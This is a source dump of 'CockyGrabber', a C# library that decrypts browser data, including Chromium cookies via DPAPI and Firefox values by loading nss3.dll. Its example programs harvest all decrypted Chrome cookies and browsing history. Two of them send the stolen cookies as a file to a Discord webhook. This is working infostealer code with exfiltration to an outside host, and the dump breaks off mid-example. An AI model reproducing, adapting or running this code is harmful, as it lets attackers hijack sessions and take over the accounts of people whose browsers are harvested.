24 | RotateLeft(i & 0x000000FF000000FFUL, 56); 25 | } 26 | 27 | public static ulong RotateLeft(ulong i, int distance) 28 | { 29 | return (i << distance) ^ (i >> -distance); 30 | } 31 | } 32 | } 33 | -------------------------------------------------------------------------------- /CockyGrabber/CockyGrabber/Utility/Cryptography/BouncyCastle/Pack.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Collections.Generic; 3 | using System.Linq; 4 | using System.Text; 5 | using System.Threading.Tasks; 6 | 7 | namespace CockyGrabber.Utility.Cryptography.BouncyCastle 8 | { 9 | internal sealed class Pack 10 | { 11 | private Pack() 12 | { 13 | } 14 | 15 | internal static void UInt32_To_BE(uint n, byte[] bs, int off) 16 | { 17 | bs[off] = (byte)(n >> 24); 18 | bs[off + 1] = (byte)(n >> 16); 19 | bs[off + 2] = (byte)(n >> 8); 20 | bs[off + 3] = (byte)(n); 21 | } 22 | 23 | internal static uint BE_To_UInt32(byte[] bs, int off) 24 | { 25 | return (uint)bs[off] << 24 26 | | (uint)bs[off + 1] << 16 27 | | (uint)bs[off + 2] << 8 28 | | (uint)bs[off + 3]; 29 | } 30 | 31 | internal static void UInt64_To_BE(ulong n, byte[] bs, int off) 32 | { 33 | UInt32_To_BE((uint)(n >> 32), bs, off); 34 | UInt32_To_BE((uint)(n), bs, off + 4); 35 | } 36 | 37 | internal static void UInt64_To_BE(ulong[] ns, byte[] bs, int off) 38 | { 39 | for (int i = 0; i < ns.Length; ++i) 40 | { 41 | UInt64_To_BE(ns[i], bs, off); 42 | off += 8; 43 | } 44 | } 45 | 46 | internal static ulong BE_To_UInt64(byte[] bs, int off) 47 | { 48 | uint hi = BE_To_UInt32(bs, off); 49 | uint lo = BE_To_UInt32(bs, off + 4); 50 | return ((ulong)hi << 32) | (ulong)lo; 51 | } 52 | 53 | internal static void BE_To_UInt64(byte[] bs, int off, ulong[] ns) 54 | { 55 | for (int i = 0; i < ns.Length; ++i) 56 | { 57 | ns[i] = BE_To_UInt64(bs, off); 58 | off += 8; 59 | } 60 | } 61 | 62 | public static void BE_To_UInt64(byte[] bs, int bsOff, ulong[] ns, int nsOff, int nsLen) 63 | { 64 | for (int i = 0; i < nsLen; ++i) 65 | { 66 | ns[nsOff + i] = BE_To_UInt64(bs, bsOff); 67 | bsOff += 8; 68 | } 69 | } 70 | 71 | internal static void UInt32_To_LE(uint n, byte[] bs, int off) 72 | { 73 | bs[off] = (byte)(n); 74 | bs[off + 1] = (byte)(n >> 8); 75 | bs[off + 2] = (byte)(n >> 16); 76 | bs[off + 3] = (byte)(n >> 24); 77 | } 78 | 79 | internal static uint LE_To_UInt32(byte[] bs, int off) 80 | { 81 | return (uint)bs[off] 82 | | (uint)bs[off + 1] << 8 83 | | (uint)bs[off + 2] << 16 84 | | (uint)bs[off + 3] << 24; 85 | } 86 | } 87 | } 88 | -------------------------------------------------------------------------------- /CockyGrabber/CockyGrabber/Utility/Cryptography/BouncyCastle/ParametersWithIV.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Collections.Generic; 3 | using System.Linq; 4 | using System.Text; 5 | using System.Threading.Tasks; 6 | 7 | namespace CockyGrabber.Utility.Cryptography.BouncyCastle 8 | { 9 | public class ParametersWithIV 10 | : ICipherParameters 11 | { 12 | private readonly ICipherParameters parameters; 13 | private readonly byte[] iv; 14 | 15 | public ParametersWithIV(ICipherParameters parameters, 16 | byte[] iv) 17 | : this(parameters, iv, 0, iv.Length) 18 | { 19 | } 20 | 21 | public ParametersWithIV(ICipherParameters parameters, 22 | byte[] iv, int ivOff, int ivLen) 23 | { 24 | // NOTE: 'parameters' may be null to imply key re-use 25 | if (iv == null) 26 | throw new ArgumentNullException("iv"); 27 | 28 | this.parameters = parameters; 29 | this.iv = Arrays.CopyOfRange(iv, ivOff, ivOff + ivLen); 30 | } 31 | 32 | public byte[] GetIV() 33 | { 34 | return (byte[])iv.Clone(); 35 | } 36 | 37 | public ICipherParameters Parameters 38 | { 39 | get { return parameters; } 40 | } 41 | } 42 | } 43 | -------------------------------------------------------------------------------- /CockyGrabber/CockyGrabber/Utility/Cryptography/BouncyCastle/Tables4kGcmMultiplier.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Collections.Generic; 3 | using System.Linq; 4 | using System.Text; 5 | using System.Threading.Tasks; 6 | 7 | namespace CockyGrabber.Utility.Cryptography.BouncyCastle 8 | { 9 | public class Tables4kGcmMultiplier 10 | : IGcmMultiplier 11 | { 12 | private byte[] H; 13 | private ulong[] T; 14 | 15 | public void Init(byte[] H) 16 | { 17 | if (T == null) 18 | { 19 | T = new ulong[512]; 20 | } 21 | else if (Arrays.AreEqual(this.H, H)) 22 | { 23 | return; 24 | } 25 | 26 | this.H = Arrays.Clone(H); 27 | 28 | // T[0] = 0 29 | 30 | // T[1] = H.p^7 31 | GcmUtilities.AsUlongs(this.H, T, 2); 32 | GcmUtilities.MultiplyP7(T, 2, T, 2); 33 | 34 | for (int n = 2; n < 256; n += 2) 35 | { 36 | // T[2.n] = T[n].p^-1 37 | GcmUtilities.DivideP(T, n, T, n << 1); 38 | 39 | // T[2.n + 1] = T[2.n] + T[1] 40 | GcmUtilities.Xor(T, n << 1, T, 2, T, (n + 1) << 1); 41 | } 42 | } 43 | 44 | public void MultiplyH(byte[] x) 45 | { 46 | //ulong[] z = new ulong[2]; 47 | //GcmUtilities.Copy(T, x[15] << 1, z, 0); 48 | //for (int i = 14; i >= 0; --i) 49 | //{ 50 | // GcmUtilities.MultiplyP8(z); 51 | // GcmUtilities.Xor(z, 0, T, x[i] << 1); 52 | //} 53 | //Pack.UInt64_To_BE(z, x, 0); 54 | 55 | int pos = x[15] << 1; 56 | ulong z0 = T[pos + 0], z1 = T[pos + 1]; 57 | 58 | for (int i = 14; i >= 0; --i) 59 | { 60 | pos = x[i] << 1; 61 | 62 | ulong c = z1 << 56; 63 | z1 = T[pos + 1] ^ ((z1 >> 8) | (z0 << 56)); 64 | z0 = T[pos + 0] ^ (z0 >> 8) ^ c ^ (c >> 1) ^ (c >> 2) ^ (c >> 7); 65 | } 66 | 67 | Pack.UInt64_To_BE(z0, x, 0); 68 | Pack.UInt64_To_BE(z1, x, 8); 69 | } 70 | } 71 | } 72 | -------------------------------------------------------------------------------- /CockyGrabber/CockyGrabber/Utility/Cryptography/DPAPI.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Runtime.InteropServices; 3 | 4 | // Decrypt data using DPAPI functions. 5 | namespace CockyGrabber.Utility.Cryptography 6 | { 7 | internal static class DPAPI 8 | { 9 | [StructLayout(LayoutKind.Sequential, CharSet = CharSet.Unicode)] 10 | private struct CryptprotectPromptstruct 11 | { 12 | public int cbSize; 13 | public int dwPromptFlags; 14 | public IntPtr hwndApp; 15 | public string szPrompt; 16 | } 17 | 18 | [StructLayout(LayoutKind.Sequential, CharSet = CharSet.Unicode)] 19 | private struct DataBlob 20 | { 21 | public int cbData; 22 | public IntPtr pbData; 23 | } 24 | 25 | [DllImport("crypt32.dll", CharSet = CharSet.Auto, SetLastError = true)] 26 | private static extern bool CryptUnprotectData(ref DataBlob pCipherText, ref string pszDescription, ref DataBlob pEntropy, IntPtr pReserved, ref CryptprotectPromptstruct pPrompt, int dwFlags, ref DataBlob pPlainText); 27 | 28 | public static byte[] Decrypt(byte[] bCipher, byte[] bEntropy = null) 29 | { 30 | DataBlob pPlainText = new DataBlob(); 31 | DataBlob pCipherText = new DataBlob(); 32 | DataBlob pEntropy = new DataBlob(); 33 | 34 | CryptprotectPromptstruct pPrompt = new CryptprotectPromptstruct() 35 | { 36 | cbSize = Marshal.SizeOf(typeof(CryptprotectPromptstruct)), 37 | dwPromptFlags = 0, 38 | hwndApp = IntPtr.Zero, 39 | szPrompt = (string)null 40 | }; 41 | 42 | string sEmpty = string.Empty; 43 | 44 | try 45 | { 46 | try 47 | { 48 | if (bCipher == null) 49 | bCipher = new byte[0]; 50 | 51 | pCipherText.pbData = Marshal.AllocHGlobal(bCipher.Length); 52 | pCipherText.cbData = bCipher.Length; 53 | Marshal.Copy(bCipher, 0, pCipherText.pbData, bCipher.Length); 54 | 55 | } 56 | catch { } 57 | 58 | try 59 | { 60 | if (bEntropy == null) 61 | bEntropy = new byte[0]; 62 | 63 | pEntropy.pbData = Marshal.AllocHGlobal(bEntropy.Length); 64 | pEntropy.cbData = bEntropy.Length; 65 | 66 | Marshal.Copy(bEntropy, 0, pEntropy.pbData, bEntropy.Length); 67 | 68 | } 69 | catch { } 70 | 71 | CryptUnprotectData(ref pCipherText, ref sEmpty, ref pEntropy, IntPtr.Zero, ref pPrompt, 1, ref pPlainText); 72 | 73 | byte[] bDestination = new byte[pPlainText.cbData]; 74 | Marshal.Copy(pPlainText.pbData, bDestination, 0, pPlainText.cbData); 75 | return bDestination; 76 | 77 | } 78 | catch 79 | { 80 | 81 | } 82 | finally 83 | { 84 | if (pPlainText.pbData != IntPtr.Zero) 85 | Marshal.FreeHGlobal(pPlainText.pbData); 86 | 87 | if (pCipherText.pbData != IntPtr.Zero) 88 | Marshal.FreeHGlobal(pCipherText.pbData); 89 | 90 | if (pEntropy.pbData != IntPtr.Zero) 91 | Marshal.FreeHGlobal(pEntropy.pbData); 92 | } 93 | return new byte[0]; 94 | } 95 | } 96 | } -------------------------------------------------------------------------------- /CockyGrabber/CockyGrabber/Utility/Cryptography/GeckoDecryptor.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Text; 3 | using System.Runtime.InteropServices; 4 | using System.IO; 5 | 6 | namespace CockyGrabber.Utility.Cryptography 7 | { 8 | internal sealed class WinApi 9 | { 10 | [DllImport("kernel32.dll", CharSet = CharSet.Unicode, SetLastError = true)] 11 | internal static extern IntPtr LoadLibrary(string sFileName); 12 | 13 | [DllImport("kernel32.dll", SetLastError = true)] 14 | [return: MarshalAs(UnmanagedType.Bool)] 15 | internal static extern bool FreeLibrary(IntPtr hModule); 16 | 17 | [DllImport("kernel32.dll", CharSet = CharSet.Ansi, SetLastError = true)] 18 | internal static extern IntPtr GetProcAddress(IntPtr hModule, string sProcName); 19 | } 20 | internal sealed class Nss3 21 | { 22 | public struct TSECItem 23 | { 24 | public int SECItemType; 25 | public IntPtr SECItemData; 26 | public int SECItemLen; 27 | } 28 | 29 | [UnmanagedFunctionPointer(CallingConvention.Cdecl)] 30 | public delegate long NssInit(string sDirectory); 31 | 32 | [UnmanagedFunctionPointer(CallingConvention.Cdecl)] 33 | public delegate long NssShutdown(); 34 | 35 | [UnmanagedFunctionPointer(CallingConvention.Cdecl)] 36 | public delegate int Pk11SdrDecrypt(ref TSECItem tsData, ref TSECItem tsResult, int iContent); 37 | } 38 | internal static class GeckoDecryptor 39 | { 40 | private static IntPtr hNss3; 41 | private static IntPtr hMozGlue; 42 | 43 | private static Nss3.NssInit fpNssInit; 44 | private static Nss3.Pk11SdrDecrypt fpPk11SdrDecrypt; 45 | private static Nss3.NssShutdown fpNssShutdown; 46 | 47 | private const string MozGlueDll = "\\mozglue.dll"; 48 | private const string NssDll = "\\nss3.dll"; 49 | 50 | /// 51 | /// Load libraries and functions for firefox value decryption 52 | /// 53 | /// Mozilla Firefox folder path in ProgramFiles 54 | /// True if everything was successful 55 | public static bool LoadNSS(string mozillaPath) 56 | { 57 | if (!Environment.Is64BitProcess) 58 | throw new GrabberException(GrabberError.ProcessIsNot64Bit, "The current process is 32-bit! To decrypt firefox values it needs to be 64-bit"); 59 | 60 | if (!File.Exists(mozillaPath + MozGlueDll)) // Check If DLL Exists 61 | throw new GrabberException(GrabberError.Nss3NotFound, $"MozGlue was not found: {mozillaPath + MozGlueDll}"); 62 | 63 | if (!File.Exists(mozillaPath + NssDll)) // Check If DLL Exists 64 | throw new GrabberException(GrabberError.Nss3NotFound, $"NSS3 was not found: {mozillaPath + NssDll}"); 65 | 66 | // Load libraries with the WinApi: 67 | hMozGlue = WinApi.LoadLibrary(mozillaPath + MozGlueDll); // This is necessary to make Nss3 work 68 | hNss3 = WinApi.LoadLibrary(mozillaPath + NssDll); 69 | 70 | // Check if both libraries were loaded successfully: 71 | if (hMozGlue == IntPtr.Zero) 72 | throw new GrabberException(GrabberError.MozGlueNotFound, $"{MozGlueDll} could not be found: {mozillaPath + MozGlueDll}"); 73 | if (hNss3 == IntPtr.Zero) 74 | throw new GrabberException(GrabberError.Nss3NotFound, $"{NssDll} could not be found: {mozillaPath + NssDll}"); 75 | 76 | // Get adresses of functions: 77 | IntPtr ipNssInitAddr = WinApi.GetProcAddress(hNss3, "NSS_Init"); // NSS_Init() 78 | IntPtr ipNssPk11SdrDecrypt = WinApi.GetProcAddress(hNss3, "PK11SDR_Decrypt"); // PK11SDR_Decrypt() 79 | IntPtr ipNssShutdown = WinApi.GetProcAddress(hNss3, "NSS_Shutdown"); // NSS_Shutdown() 80 | 81 | // Check if all addresses were found: 82 | if (ipNssInitAddr == IntPtr.Zero) 83 | throw new GrabberException(GrabberError.AddressNotFound, $"Process Address of NSS_Init was not found!"); 84 | if (ipNssPk11SdrDecrypt == IntPtr.Zero) 85 | throw new GrabberException(GrabberError.AddressNotFound, $"Process Address of PK11SDR_Decrypt was not found!"); 86 | if (ipNssShutdown == IntPtr.Zero) 87 | throw new GrabberException(GrabberError.AddressNotFound, $"Process Address of NSS_Shutdown was not found!"); 88 | 89 | // Get Delegates from function pointers: 90 | fpNssInit = (Nss3.NssInit)Marshal.GetDelegateForFunctionPointer(ipNssInitAddr, typeof(Nss3.NssInit)); // NSS_Init() 91 | fpPk11SdrDecrypt = (Nss3.Pk11SdrDecrypt)Marshal.GetDelegateForFunctionPointer(ipNssPk11SdrDecrypt, typeof(Nss3.Pk11SdrDecrypt)); // PK11SDR_Decrypt() 92 | fpNssShutdown = (Nss3.NssShutdown)Marshal.GetDelegateForFunctionPointer(ipNssShutdown, typeof(Nss3.NssShutdown)); // NSS_Shutdown() 93 | 94 | // Check if all functions were found: 95 | if (fpNssInit == null) 96 | throw new GrabberException(GrabberError.FunctionNotFound, $"Function 'NSS_Init()' was not found!"); 97 | if (fpPk11SdrDecrypt == null) 98 | throw new GrabberException(GrabberError.FunctionNotFound, $"Function 'PK11SDR_Decrypt()' was not found!"); 99 | if (fpNssShutdown == null) 100 | throw new GrabberException(GrabberError.FunctionNotFound, $"Function 'NSS_Shutdown()' was not found!"); 101 | 102 | if (fpNssInit != null && fpPk11SdrDecrypt != null && fpNssShutdown != null) // If all functions were found: 103 | return true; 104 | else 105 | return false; 106 | } 107 | 108 | /// 109 | /// Free Libraries and close Nss3 110 | /// 111 | public static void UnLoadNSS() 112 | { 113 | fpNssShutdown(); 114 | WinApi.FreeLibrary(hNss3); 115 | WinApi.FreeLibrary(hMozGlue); 116 | } 117 | 118 | /// 119 | /// Sets firefox profile 120 | /// 121 | /// Path to the firefox profile 122 | /// True if set successfully 123 | public static bool SetProfile(string path) => fpNssInit(path) == 0; 124 | 125 | /// 126 | /// Decrypt a encrypted value with Nss3 127 | /// 128 | /// The encrypted value 129 | /// The decrypted value or null if decryption was unsuccessful 130 | public static string DecryptValue(string value) 131 | { 132 | IntPtr lpMemory = IntPtr.Zero; 133 | 134 | try 135 | { 136 | byte[] bPassDecoded = Convert.FromBase64String(value); // String from Base64 137 | 138 | lpMemory = Marshal.AllocHGlobal(bPassDecoded.Length); // Allocate some memory 139 | Marshal.Copy(bPassDecoded, 0, lpMemory, bPassDecoded.Length); // copy the data of bPassDecoded to lpMemory 140 | 141 | Nss3.TSECItem tsiOut = new Nss3.TSECItem(); 142 | Nss3.TSECItem tsiItem = new Nss3.TSECItem 143 | { 144 | SECItemType = 0, 145 | SECItemData = lpMemory, 146 | SECItemLen = bPassDecoded.Length 147 | }; 148 | 149 | if (fpPk11SdrDecrypt(ref tsiItem, ref tsiOut, 0) == 0) // If Decrypted successfully 150 | { 151 | if (tsiOut.SECItemLen != 0) 152 | { 153 | byte[] bDecrypted = new byte[tsiOut.SECItemLen]; // Create a byte array and make space for the data 154 | Marshal.Copy(tsiOut.SECItemData, bDecrypted, 0, tsiOut.SECItemLen); // copy tsiOut.SECItemData to bDecrypted 155 | 156 | return Encoding.UTF8.GetString(bDecrypted); 157 | } 158 | } 159 | } 160 | catch (Exception ex) 161 | { 162 | throw new GrabberException(GrabberError.UnknownError, ex.ToString()); 163 | } 164 | finally 165 | { 166 | if (lpMemory != IntPtr.Zero) 167 | Marshal.FreeHGlobal(lpMemory); // Free the allocated memory 168 | } 169 | return null; 170 | } 171 | 172 | // useless: 173 | public static string GetUTF8(string sNonUtf8) 174 | { 175 | try 176 | { 177 | byte[] bData = Encoding.Default.GetBytes(sNonUtf8); 178 | return Encoding.UTF8.GetString(bData); 179 | } 180 | catch { return sNonUtf8; } 181 | } 182 | } 183 | } -------------------------------------------------------------------------------- /CockyGrabber/CockyGrabber/Utility/DynamicJsonConverter.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Collections; 3 | using System.Collections.Generic; 4 | using System.Collections.ObjectModel; 5 | using System.Dynamic; 6 | using System.Linq; 7 | using System.Text; 8 | using System.Web.Script.Serialization; 9 | 10 | namespace CockyGrabber.Utility 11 | { 12 | public sealed class DynamicJsonConverter : JavaScriptConverter 13 | { 14 | public override object Deserialize(IDictionary dictionary, Type type, JavaScriptSerializer serializer) 15 | { 16 | if (dictionary == null) 17 | throw new ArgumentNullException("dictionary"); 18 | 19 | return type == typeof(object) ? new DynamicJsonObject(dictionary) : null; 20 | } 21 | 22 | public override IDictionary Serialize(object obj, JavaScriptSerializer serializer) 23 | { 24 | throw new NotImplementedException(); 25 | } 26 | 27 | public override IEnumerable SupportedTypes 28 | { 29 | get { return new ReadOnlyCollection(new List(new[] { typeof(object) })); } 30 | } 31 | 32 | #region Nested type: DynamicJsonObject 33 | 34 | private sealed class DynamicJsonObject : DynamicObject 35 | { 36 | private readonly IDictionary _dictionary; 37 | 38 | public DynamicJsonObject(IDictionary dictionary) 39 | { 40 | if (dictionary == null) 41 | throw new ArgumentNullException("dictionary"); 42 | _dictionary = dictionary; 43 | } 44 | 45 | public override string ToString() 46 | { 47 | StringBuilder sb = new StringBuilder("{ "); 48 | ToString(sb); 49 | sb.Append("}"); 50 | return sb.ToString(); 51 | } 52 | 53 | private void ToString(StringBuilder sb) 54 | { 55 | bool firstDict = true; 56 | foreach (var pair in _dictionary) 57 | { 58 | if (!firstDict) 59 | sb.Append(","); 60 | firstDict = false; 61 | sb.Append("\"" + pair.Key + "\": "); 62 | 63 | if (pair.Value is string) 64 | { 65 | sb.Append("\"" + pair.Value.ToString() + "\""); 66 | } 67 | else if (pair.Value is Dictionary) 68 | { 69 | sb.Append((new DynamicJsonObject(pair.Value as Dictionary).ToString())); 70 | } 71 | else if (pair.Value is ArrayList) 72 | { 73 | if ((pair.Value as ArrayList).Count > 1) 74 | sb.Append("["); 75 | bool firstAL = true; 76 | foreach (var item in pair.Value as ArrayList) 77 | { 78 | if (!firstAL) 79 | sb.Append(","); 80 | firstAL = false; 81 | if (item is string) 82 | sb.Append("\"" + item + "\""); 83 | else if (item is IDictionary) 84 | sb.Append((new DynamicJsonObject(item as Dictionary).ToString())); 85 | else 86 | { 87 | sb.Append("ERROR"); 88 | } 89 | } 90 | if ((pair.Value as ArrayList).Count > 1) 91 | sb.Append("]"); 92 | } 93 | else 94 | { 95 | sb.Append("ERROR"); 96 | } 97 | } 98 | } 99 | 100 | public override bool TryGetMember(GetMemberBinder binder, out object result) 101 | { 102 | if (!_dictionary.TryGetValue(binder.Name, out result)) 103 | { 104 | // return null to avoid exception. caller can check for null this way... 105 | result = null; 106 | return true; 107 | } 108 | 109 | result = WrapResultObject(result); 110 | return true; 111 | } 112 | 113 | public override bool TryGetIndex(GetIndexBinder binder, object[] indexes, out object result) 114 | { 115 | if (indexes.Length == 1 && indexes[0] != null) 116 | { 117 | if (!_dictionary.TryGetValue(indexes[0].ToString(), out result)) 118 | { 119 | // return null to avoid exception. caller can check for null this way... 120 | result = null; 121 | return true; 122 | } 123 | 124 | result = WrapResultObject(result); 125 | return true; 126 | } 127 | 128 | return base.TryGetIndex(binder, indexes, out result); 129 | } 130 | 131 | private static object WrapResultObject(object result) 132 | { 133 | IDictionary dictionary = result as IDictionary; 134 | if (dictionary != null) 135 | return new DynamicJsonObject(dictionary); 136 | 137 | ArrayList arrayList = result as ArrayList; 138 | if (arrayList != null && arrayList.Count > 0) 139 | { 140 | return arrayList[0] is IDictionary 141 | ? new List(arrayList.Cast>().Select(x => new DynamicJsonObject(x))) 142 | : new List(arrayList.Cast()); 143 | } 144 | 145 | return result; 146 | } 147 | private static object _WrapResultObject(object result) 148 | { 149 | var dictionary = result as IDictionary; 150 | if (dictionary != null) 151 | return new DynamicJsonObject(dictionary); 152 | 153 | var arrayList = result as ArrayList; 154 | if (arrayList != null && arrayList.Count > 0) 155 | { 156 | return arrayList[0] is IDictionary 157 | ? new List(arrayList.Cast>().Select(x => new DynamicJsonObject(x))) 158 | : new List(arrayList.Cast()); 159 | } 160 | 161 | return result; 162 | } 163 | } 164 | 165 | #endregion 166 | } 167 | } -------------------------------------------------------------------------------- /CockyGrabber/CockyGrabber/Utility/Time.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | 3 | namespace CockyGrabber.Utility 4 | { 5 | internal static class Time 6 | { 7 | public static DateTimeOffset FromWebkitTimeMicroseconds(long ms) 8 | { 9 | if (ms > 0 && ms.ToString().Length < 18) // If the passed long is bigger than 0 and has a shorter char count than 18 (Webkit timestamps have a max. char count of 17) 10 | { 11 | DateTime dateTime = new DateTime(1601, 1, 1, 0, 0, 0, 0, DateTimeKind.Utc); 12 | ms /= 1000000; 13 | dateTime = dateTime.AddSeconds(ms).ToLocalTime(); 14 | return dateTime; 15 | } 16 | return new DateTime(1601, 1, 1, 0, 0, 0, 0, DateTimeKind.Utc); 17 | } 18 | public static DateTimeOffset FromWebkitTimeSeconds(long s) 19 | { 20 | if (s > 0) // If the passed long is a valid number (bigger than 0) 21 | { 22 | DateTime dateTime = new DateTime(1601, 1, 1, 0, 0, 0, 0, DateTimeKind.Utc); 23 | dateTime = dateTime.AddSeconds(s).ToLocalTime(); 24 | return dateTime; 25 | } 26 | return new DateTime(1601, 1, 1, 0, 0, 0, 0, DateTimeKind.Utc); 27 | } 28 | 29 | public static DateTimeOffset FromUnixTimeSeconds(long s) => DateTimeOffset.FromUnixTimeSeconds(s); 30 | public static DateTimeOffset FromUnixTimeMilliseconds(long ms) => DateTimeOffset.FromUnixTimeMilliseconds(ms); 31 | public static DateTimeOffset FromUnixTimeMicroseconds(long ms) => DateTimeOffset.FromUnixTimeMilliseconds(ms / 1000); 32 | } 33 | } 34 | -------------------------------------------------------------------------------- /CockyGrabber/CockyGrabber/Utility/Tools.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Data.SQLite; 3 | using System.Text.RegularExpressions; 4 | using System.Web.Script.Serialization; 5 | 6 | namespace CockyGrabber.Utility 7 | { 8 | internal static class Tools 9 | { 10 | public static bool ColumnExists(this SQLiteConnection conn, string table, string column) 11 | { 12 | using (var _cmd = conn.CreateCommand()) 13 | { 14 | _cmd.CommandText = $"SELECT COUNT(*) AS CNTREC FROM pragma_table_info('{table}') WHERE name='{column}'"; 15 | return (long)_cmd.ExecuteScalar() == 1; 16 | } 17 | } 18 | 19 | /// 20 | /// On serializing a class with the JavaScriptConverter the dates are stored like this: \/Date(1616932619000)\/ 21 | ///
This method converts all thoose wrong formated dates to plain digits
22 | ///
23 | /// The json string 24 | /// A json string with correctly forammted dates 25 | public static string CorrectSerializedDates(string json) 26 | { 27 | Regex r = new Regex(@"\\\/Date\((-?\d+)\)\\\/"); // matches all dates in the json string 28 | foreach (Match m in r.Matches(json)) 29 | { 30 | string digits = m.Value.Replace("\\/Date(", null).Replace(")\\/", null); // Remove everything but the digits 31 | 32 | //json = json.Replace($"\\/Date({digits})\\/", new DateTime(long.Parse(digits)).ToString()); // Replace \/Date(1616932619000)\/ -> dd.mm.yyyy hh:mm:ss (Unused & Bugged) 33 | json = json.Replace($"\\/Date({digits})\\/", digits); // Replace \/Date(1616932619000)\/ -> 1616932619000 34 | } 35 | return json; 36 | } 37 | 38 | /// 39 | /// Serializes a browser information class to a json string 40 | /// 41 | /// The class with the browser information 42 | /// A json string 43 | public static string BrowserInformationToJson(object data) => CorrectSerializedDates(_jsonSerializer.Serialize(data)); 44 | 45 | private static readonly JavaScriptSerializer _jsonSerializer = new JavaScriptSerializer(); 46 | } 47 | } 48 | -------------------------------------------------------------------------------- /CockyGrabber/CockyGrabber/packages.config: -------------------------------------------------------------------------------- 1 |  2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | -------------------------------------------------------------------------------- /Examples/CookiePrinter.cs: -------------------------------------------------------------------------------- 1 | using CockyGrabber.Grabbers; 2 | using System; 3 | 4 | namespace CockyGrabberTest 5 | { 6 | // This Program collects all browser cookies and outputs them in a console window 7 | class Program 8 | { 9 | static void Main(string[] args) 10 | { 11 | UniversalGrabber g = new UniversalGrabber(); // Create Grabber 12 | 13 | // Show Blink/Chromium cookies: 14 | Console.WriteLine("BLINK/CHROMIUM COOKIES:"); 15 | foreach (var c in g.GetAllBlinkCookies()) 16 | { 17 | // Print the hostname, name, and value of the cookie: 18 | Console.WriteLine(); 19 | Console.WriteLine($"Hostname: {c.HostKey}"); 20 | Console.WriteLine($"Name: {c.Name}"); 21 | Console.WriteLine($"Value: {c.DecryptedValue}"); 22 | } 23 | 24 | Console.WriteLine(); 25 | 26 | // Show Gecko cookies: 27 | Console.WriteLine("GECKO COOKIES:"); 28 | foreach (var c in g.GetAllGeckoCookies()) 29 | { 30 | // Print the hostname, name, and value of the cookie: 31 | Console.WriteLine(); 32 | Console.WriteLine($"Hostname: {c.Host}"); 33 | Console.WriteLine($"Name: {c.Name}"); 34 | Console.WriteLine($"Value: {c.Value}"); 35 | } 36 | 37 | System.Threading.Thread.Sleep(-1); // Pause console 38 | } 39 | } 40 | } -------------------------------------------------------------------------------- /Examples/DiscordNetWebhookChromeGrabber.cs: -------------------------------------------------------------------------------- 1 | using CockyGrabber; 2 | using CockyGrabber.Grabbers; 3 | using System.IO; 4 | using System.Linq; 5 | 6 | using Discord.Webhook; 7 | 8 | namespace CockyGrabberTest 9 | { 10 | // This Program collects all Chrome cookies and sends them as a file to a discord webhook 11 | // (This Example uses the Discord.Net library) 12 | class Program 13 | { 14 | private const string WebhookUrl = "YOUR WEBHOOK URL HERE"; 15 | static void Main(string[] args) 16 | { 17 | ChromeGrabber g = new ChromeGrabber(); // Create Grabber 18 | StringBuilder cookies = new StringBuilder(); 19 | 20 | g.GetCookies().ToList().ForEach(delegate (Blink.Cookie c) // For every grabbed cookie: 21 | { 22 | cookies.AppendLine($"Hostname: {c.HostKey} | Name: {c.Name} | Value: {c.DecryptedValue}"); // Add the cookie hostname, name, and value to the 'cookies' list 23 | }); 24 | 25 | File.WriteAllLines("./cookies_save.txt", cookies.ToString()); // Save cookies in cookies_save.txt 26 | DiscordWebhookClient webhookClient = new DiscordWebhookClient(WebhookUrl); // Create Discord.NET DiscordWebhook 27 | webhookClient.SendFileAsync("./cookies_save.txt", "here are your cookies:").Wait(); // Send the file including the cookies to discord webhook and wait until the message sent 28 | } 29 | } 30 | } 31 | -------------------------------------------------------------------------------- /Examples/DiscordWebhookChromeGrabber.cs: -------------------------------------------------------------------------------- 1 | using CockyGrabber; 2 | using CockyGrabber.Grabbers; 3 | using System.IO; 4 | using System.Linq; 5 | using System.Text; 6 | using System.Net.Http; 7 | 8 | namespace CockyGrabberTest 9 | { 10 | // This Program collects all Chrome cookies and sends them as a file to a discord webhook 11 | class Program 12 | { 13 | private const string WebhookUrl = "YOUR WEBHOOK URL HERE"; 14 | 15 | /// 16 | /// Send a file through a Discord Webhook 17 | /// 18 | /// The Webhook URL 19 | /// The path to the file you want to send 20 | public static void SendFile(string webhookUrl, string path) 21 | { 22 | string fileContents = File.ReadAllText(path); // Read file 23 | 24 | // Convert the contents of the file to HTTP content for the POST request: 25 | MultipartFormDataContent httpContent = new MultipartFormDataContent 26 | { 27 | { 28 | new ByteArrayContent(Encoding.Default.GetBytes(fileContents)), "file", path.Split('/', '\\').Last() 29 | } 30 | }; 31 | 32 | new HttpClient().PostAsync(webhookUrl, httpContent).GetAwaiter().GetResult(); // Post the HTTP contents to the URL 33 | } 34 | 35 | static void Main(string[] args) 36 | { 37 | ChromeGrabber g = new ChromeGrabber(); // Create Grabber 38 | StringBuilder cookies = new StringBuilder(); 39 | 40 | g.GetCookies().ToList().ForEach(delegate (Blink.Cookie c) // For every grabbed cookie: 41 | { 42 | cookies.AppendLine($"Hostname: {c.HostKey} | Name: {c.Name} | Value: {c.DecryptedValue}"); // Add the cookie hostname, name, and value to the 'cookies' list 43 | }); 44 | 45 | File.WriteAllText("./cookies_save.txt", cookies.ToString()); // Save cookies in cookies_save.txt 46 | SendFile(WebhookUrl, "./cookies_save.txt"); // Send the file to the Webhook 47 | } 48 | } 49 | } 50 | -------------------------------------------------------------------------------- /Examples/HistoryPrinter.cs: -------------------------------------------------------------------------------- 1 | using CockyGrabber.Grabbers; 2 | using System; 3 | 4 | namespace CockyGrabberTest 5 | { 6 | // This Program collects all broswer histories and outputs them in a console window 7 | class Program 8 | { 9 | static void Main(string[] args) 10 | { 11 | UniversalGrabber g = new UniversalGrabber(); // Create Grabber 12 | 13 | // Show Blink/Chromium site visits: 14 | Console.WriteLine("BLINK/CHROMIUM VISITS:"); 15 | foreach (var v in g.GetAllBlinkHistories()) 16 | { 17 | // Print the title and URL of every visited site: 18 | Console.WriteLine(); 19 | Console.WriteLine($"Title: {v.Title}"); 20 | Console.WriteLine($"Url: {v.Url}"); 21 | } 22 | 23 | 